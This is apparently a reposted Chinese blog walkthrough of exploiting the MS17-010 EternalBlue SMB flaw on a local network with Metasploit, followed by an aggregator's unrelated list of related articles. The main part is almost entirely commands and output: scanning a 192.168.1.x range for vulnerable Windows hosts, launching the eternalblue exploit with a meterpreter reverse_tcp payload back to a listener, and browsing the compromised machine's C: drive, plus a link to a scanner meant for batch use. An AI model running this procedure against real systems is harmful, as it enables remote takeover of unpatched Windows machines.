SMB MS17-010 利用(CVE-2017-0144 )

exploit-db : https://www.exploit-db.com/exploits/42315/

该漏洞的影响版本很广泛:Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)

具体请查看公告:Microsoft 安全公告 MS17-010 - 严重

下面简单记录局域网内,漏洞的利用过程,以备忘。

1、更新Metasploit

Metasploit里已经集成了该漏洞利用脚本,可能使用之前需要更新一下。

root@kali:~# apt update; apt install metasploit-framework

2、查找smb_ms17_010脚本位置

msf > search ms17-010
[!] Module database cache not built yet, using slow searchMatching Modules
================Name                                      Disclosure Date  Rank     Description----                                      ---------------  ----     -----------auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detectionexploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

3、扫描检测

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > show optionsModule options (auxiliary/scanner/smb/smb_ms17_010):Name       Current Setting  Required  Description----       ---------------  --------  -----------RHOSTS                      yes       The target address range or CIDR identifierRPORT      445              yes       The SMB service port (TCP)SMBDomain  .                no        The Windows domain to use for authenticationSMBPass                     no        The password for the specified usernameSMBUser                     no        The username to authenticate asTHREADS    1                yes       The number of concurrent threadsmsf auxiliary(smb_ms17_010) > set rhosts 192.168.1.1-254
rhosts => 192.168.1.1-254
msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.15:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.1.16:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)

后面的就不再展示了,上面的话还可以设置扫描线程数THREADS, 以加快扫描速度。

除了上面可以检测网段之外,也可以针对单个ip进行检测。以192.168.1.16:445为例:

msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.16:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

4、漏洞利用getshell

从上面我们已经找到存在MS17-010漏洞的局域网主机192.168.1.16, 下面可以开始利用了。

msf auxiliary(smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name                Current Setting  Required  Description----                ---------------  --------  -----------GroomAllocations    12               yes       Initial number of times to groom the kernel pool.GroomDelta          5                yes       The amount to increase the groom count by per try.MaxExploitAttempts  3                yes       The number of times to retry the exploit.ProcessName         spoolsv.exe      yes       Process to inject payload into.RHOST                                yes       The target addressRPORT               445              yes       The target port (TCP)SMBDomain           .                no        (Optional) The Windows domain to use for authenticationSMBPass                              no        (Optional) The password for the specified usernameSMBUser                              no        (Optional) The username to authenticate asVerifyArch          true             yes       Check if remote architecture matches exploit Target.VerifyTarget        true             yes       Check if remote OS matches exploit Target.Exploit target:Id  Name--  ----0   Windows 7 and Server 2008 R2 (x64) All Service Packsmsf exploit(ms17_010_eternalblue) > set rhost 192.168.1.16    【靶机】
rhost => 192.168.1.16
msf exploit(ms17_010_eternalblue) > exploit

 本地攻击机的ip是192.168.1.115

 

5、漏洞利用meterpreter

这里就直接给出利用过程了:

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name                Current Setting  Required  Description----                ---------------  --------  -----------GroomAllocations    12               yes       Initial number of times to groom the kernel pool.GroomDelta          5                yes       The amount to increase the groom count by per try.MaxExploitAttempts  3                yes       The number of times to retry the exploit.ProcessName         spoolsv.exe      yes       Process to inject payload into.RHOST                                yes       The target addressRPORT               445              yes       The target port (TCP)SMBDomain           .                no        (Optional) The Windows domain to use for authenticationSMBPass                              no        (Optional) The password for the specified usernameSMBUser                              no        (Optional) The username to authenticate asVerifyArch          true             yes       Check if remote architecture matches exploit Target.VerifyTarget        true             yes       Check if remote OS matches exploit Target.Exploit target:Id  Name--  ----0   Windows 7 and Server 2008 R2 (x64) All Service Packsmsf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp      【反弹shell】
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.103                     【漏洞主机
rhost => 192.168.1.103
msf exploit(ms17_010_eternalblue) > set lhost 192.168.1.115                    【监听的主机】
lhost => 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 192.168.1.115:4444 
[*] 192.168.1.103:445 - Connecting to target for exploitation.
[+] 192.168.1.103:445 - Connection established for exploitation.
[+] 192.168.1.103:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.103:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.103:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 192.168.1.103:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 192.168.1.103:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 192.168.1.103:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.103:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.103:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.103:445 - Starting non-paged pool grooming
[+] 192.168.1.103:445 - Sending SMBv2 buffers
[+] 192.168.1.103:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.103:445 - Sending final SMBv2 buffers.
[*] 192.168.1.103:445 - Sending last fragment of exploit packet!
[*] 192.168.1.103:445 - Receiving response from exploit packet
[+] 192.168.1.103:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.103:445 - Sending egg to corrupted connection.
[*] 192.168.1.103:445 - Triggering free of corrupted buffer.
[*] Sending stage (1188415 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.115:4444 -> 192.168.1.103:49169) at 2017-08-15 04:50:12 -0400
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > dir C:\
Listing: C:\
============Mode             Size   Type  Last modified              Name
----             ----   ----  -------------              ----
40777/rwxrwxrwx  0      dir   2017-07-18 05:44:00 -0400  $Recycle.Bin
40777/rwxrwxrwx  0      dir   2017-07-25 10:54:59 -0400  360Downloads
40777/rwxrwxrwx  0      dir   2009-07-14 01:08:56 -0400  Documents and Settings
40777/rwxrwxrwx  0      dir   2009-07-13 23:20:08 -0400  PerfLogs
40555/r-xr-xr-x  4096   dir   2017-07-18 06:41:07 -0400  Program Files
40555/r-xr-xr-x  4096   dir   2017-07-25 10:52:48 -0400  Program Files (x86)
40777/rwxrwxrwx  4096   dir   2017-08-14 22:57:23 -0400  ProgramData
40777/rwxrwxrwx  0      dir   2017-07-18 05:43:47 -0400  Recovery
40777/rwxrwxrwx  4096   dir   2017-07-25 08:41:04 -0400  System Volume Information
40555/r-xr-xr-x  4096   dir   2017-07-18 05:43:52 -0400  Users
40777/rwxrwxrwx  16384  dir   2017-07-25 07:54:37 -0400  Windows
0000/---------   0      fif   1969-12-31 19:00:00 -0500  pagefile.sys
40777/rwxrwxrwx  0      dir   2017-07-18 05:49:23 -0400  share

从上面可以看到我们已经拿到一个meterpreter ... 

Github

另外附上github上找到的一个脚本,可以很方便的改成一个批量脚本:

https://github.com/pythonone/MS17-010/blob/master/scanners/smb_ms17_010.py

 

好了,到此结束,欢迎跟我留言交流。

转载于:https://www.cnblogs.com/Hi-blog/p/7339588.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/416184.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

麻省理工学院计算机专业2018,麻省理工学院专业排名一览及最强专业推荐(QS世界大学排名)...

麻省理工学院优势专业介绍电子工程、机械工程、物理学、化学、经济学、哲学、政治学?麻省理工学院专业排名麻省理工学院会计与金融专业在2018年QS世界排名中排名第2麻省理工学院建筑专业在2018年QS世界排名中排名第1麻省理工学院艺术与设计专业在2018年QS世界排名中排名第4麻省…

nuxt route 全局管理 route.beforeEach 替代

在使用nuxt之前,我们正常的route控制语法如下: const route new Router({routes:{[...]} })route.beforeEach(to,from,next){//进行路由权限校验等方法 } 而使用nuxt,路由默认会根据页面的路径规则自动生成,所以乍一看根本没有…

计算机硬盘的主流型号,四款主流2.5英寸笔记本机械硬盘性能对比

虽说固态硬盘已经逐渐成为了主流,但是对于普通的笔记本用户来说,传统的2.5英寸机械硬盘则是笔记本扩容的首选,毕竟现在一款1TB的笔记本机械硬盘价格不到400元,而1TB的固态硬盘无论是什么接口,价格都能买好几个机械硬盘…

mac 查看 ssh key

这里记录一下最基本的操作 1、进入目录 cd ~/.ssh 2、查看目录下文件 ls 3、用编辑器打开,复制一下内容 vim id_rsa.pub

研究人员用数据统计的方法来做文学研究

研究人员用数据统计的方法来做文学研究 大数据与文学,一个是理性工具,一个是感性思维,看起来似乎不沾边。但如今,二者的联系却日渐紧密起来,也由此引发了不少争议。 谁是最爱往外跑的诗人? 唐宋时期最爱往外…

西电继续教育计算机试题答案,西安电子科技大学网络与继续教育学院微机原理试题...

西安电子科技大学网络与继续教育学院微机原理试题5. MOV AX,[BP][DI] 13H 指令的源操作数的寻址方式为 。6.若(DS)0100H ,(SS)0150H ,(BX)0003H ,(BP)0003H ,存储器(01003H)5566H,(01503H)7788H,则CPU执行:MOV AL,[BX]指令后,(AL) ,CPU执行MOV AX,[BP]指…

阿里云 centos ssh key 客户端 无密码登录 ssh 登录

准备工作:刚购买了阿里云,使用登录账号密码,其次我的mac电脑已经生产了ssh-key啦。使用ssh-key登录阿里云只需要一步设置: ssh-copy-id -i ~/.ssh/id_rsa.pub root139.196.85.194 然后乖乖得输入服务器密码,按下回车。…

vim中如何设置多行注释和删除注释

多行注释: 1. 进入命令行模式,按ctrl v进入 visual block模式,然后按j, 或者k选中多行,把需要注释的行标记起来 2. 按大写字母I,再插入注释符,例如# 3. 按esc键然后按下enter就会全部注释了 取消多行注释&…

新疆缺少计算机网络技术吗,新疆阿克苏职业技术学院的计算机网络技术专业好不?...

类似问题答案2021年山西信息职业技术学院单独计算机网络类(计算机网络技术、计算机系统与维护、...2.计算机网络类(计算机网络技术、计算机系统与维护、信息安全与管理) 该类主要学习网络工程设计与安装、网站开发、网络操作系统、计算机组装与维护、网络组建管理与维护、网络综…

centos 生成 ssh-key github 连接 配置

我的环境是阿里云centos7。 1、生成ssh-key,填入自己的邮箱 ssh-keygen -t rsa -C "xxxxxx126.com" 2、进入ssh目录 cd ~/.ssh 3、查看文件 ls 会看到列举出了有id_rsa、id_rsa.pub。 4、复制一下id_rsa.pub文件内容 cat id_rsa.pub 5、打开git…

[bzoj1036]树的统计

链剖好难调啊~调了半个小时,终于发现线段树写挂了233 唉,我真是个假人~ Description 一棵树上有n个节点,编号分别为1到n,每个节点都有一个权值w。我们将以下面的形式来要求你对这棵树完成一些操作: I. CHANGE u t : 把…

ajax 错误信息error,jquery ajax的error错误信息

项目开发中ajax的异常处理起来算是比较头疼的,因为是异步请求,所以即使ajax异常程序依然会继续执行,导致找ajax的异常比较麻烦。今天处理ajax异常时搜到一篇文章,提到error可以返回ajax异常信息。$.ajax({url: url,type: "po…

centos 安装 git

centos自带的git版本很低,在日常使用中,我们需要安装新版本的。操作如下: 1、先删除原来的 yum remove git 2、安装依赖包 yum install -y zlib-devel bzip2-devel openssl-devel ncurses-devel gcc perl-ExtUtils-MakeMaker package 3…

$python数据分析基础——初识numpy库

numpy库是python的一个著名的科学计算库,本文是一个quickstart。 引入:计算BMI BMI 体重(kg)/身高(m)^2 假如有如下几组体重和身高数据,让求每组数据的BMI值: weight [65.4,59.2,6…